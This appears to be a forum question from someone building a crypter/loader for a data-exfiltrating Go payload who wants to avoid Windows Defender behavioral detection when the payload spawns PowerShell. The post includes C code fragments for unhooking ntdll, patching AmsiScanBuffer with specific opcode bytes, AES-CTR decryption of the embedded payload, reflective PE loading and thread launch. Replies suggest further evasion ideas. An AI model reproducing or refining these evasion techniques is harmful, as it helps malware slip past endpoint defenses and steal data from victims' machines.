How to prevent Go payload from triggering Windows Defender behavioral detections when spawning PowerShell or another processes?

The Go payload internally calls powershell exe to perform certain tasks and when the payload runs Defender detects the PowerShell process creation and triggers a behavioral rule The payload executes successfully completes its tasks and exfiltrates data without issues but the only problem is that Defender sees the PowerShell invocation and I do not have access to the source code of the Go payload to modify the function calls directly

My loader works by taking a compiled exe file which is the Go payload and encrypting it using AES 256 CTR and then embedding the encrypted payload as a resource

When the loader runs it first unhooks ntdll by mapping a clean ntdll dll from disk and overwriting the text section in memory to remove any AV or EDR hooks then it patches AMSI to disable memory scanning by patching AmsiScanBuffer to always return E INVALIDARG using manual export resolution without GetProcAddress then it decrypts the payload using AES 256 CTR with manual counter mode using BCrypt then it performs reflective PE loading by resolving imports loading required DLLs and filling the IAT manually then it handles relocations to fix addresses if the payload does not load at its preferred base address and finally it sets correct section permissions and launches the entry point in a new thread

Despite unhooking ntdll and patching AMSI Windows Defender still detects the payload when it creates PowerShell processes and the detection appears to be behavioral rather than signature based because the payload itself runs fine until it invokes PowerShell.

Technique i use - x64 PE Runtime Crypter | Ricky5panish

1 Unhook ntdll remove AV and EDR hooks

Map a clean ntdll dll from disk and overwrite the text section in memory
HANDLE hF = CreateFileA("C:\Windows\System32\ntdll.dll", GENERIC_READ, ...);
HANDLE hM = CreateFileMappingA(hF, NULL, PAGE_READONLY | SEC_IMAGE, ...);
uint8_t *clean = MapViewOfFile(hM, FILE_MAP_READ, 0, 0, 0);

Find the text section and overwrite it
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
VirtualProtect(dst, sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
memcpy(dst, src, sec[i].Misc.VirtualSize); // clean bytes over the hooks
VirtualProtect(dst, sec[i].Misc.VirtualSize, old, &old);
}
}

2 AMSI patch disable memory scanning

Find AmsiScanBuffer through manual export walking without using GetProcAddress by string name
if (name[0]=='A' && name[4]=='S' && name[8]=='B' && name[14]=='\0') {
VirtualProtect(addr, 8, PAGE_READWRITE, &old);
// mov eax E_INVALIDARG ret the function always returns an error code
addr[0]=0xB8; addr[1]=0x57; addr[2]=0x00; addr[3]=0x07; addr[4]=0x80; addr[5]=0xC3;
VirtualProtect(addr, 8, old, &old);
}

3 AES 256 CTR decryption

Manual CTR mode encrypt the counter block using ECB and XOR with the data
for (size_t off = 0; off < len; off += 16) {
BCryptEncrypt(hKey, counter, 16, NULL, NULL, 0, keystream, 16, &ol, 0);
for (size_t i = 0; i < chunk; i++)
data[off+i] ^= keystream[i];
// Big endian increment counter
for (int i = 15; i >= 0; i--) { if (++counter[i]) break; }
}

4 Reflective PE Load resolve imports

For each DLL in the Import Table
while (imp->Name != 0) {
HMODULE hDll = LoadLibraryA(dll_name); // load the DLL

// For each function fill the IAT
while (orig_thunk->u1.AddressOfData != 0) {
IMAGE_IMPORT_BY_NAME ibn = (IMAGE_IMPORT_BY_NAME)(image_base + orig_thunk->u1.AddressOfData);
first_thunk->u1.Function = (uint64_t)GetProcAddress(hDll, ibn->Name);
orig_thunk++; first_thunk++;
}
imp++;
}

5 Relocations fix addresses when loading not at the preferred base

uint64_t delta = (uint64_t)image_base - nt->OptionalHeader.ImageBase;
// For each relocation entry
if (type == IMAGE_REL_BASED_DIR64) {
(uint64_t)patch += delta; // fix the 64 bit pointer
}

6 Launch entry point in a new thread

Set correct permissions on the sections
VirtualProtect(image_base + sec[i].VirtualAddress, sec[i].Misc.VirtualSize, prot, &old);

Launch it
FlushInstructionCache(GetCurrentProcess(), image_base, image_size);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)entry, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

Why not just use unmanaged powershell?

but i dont have source code

How do you not have the source code for what you are trying to modify?

I have the loader code not the executable file code and I want to improve the loader so that there are no detections at runtime

Well then start modifying the binary during runtime. Don’t know what else to tell you.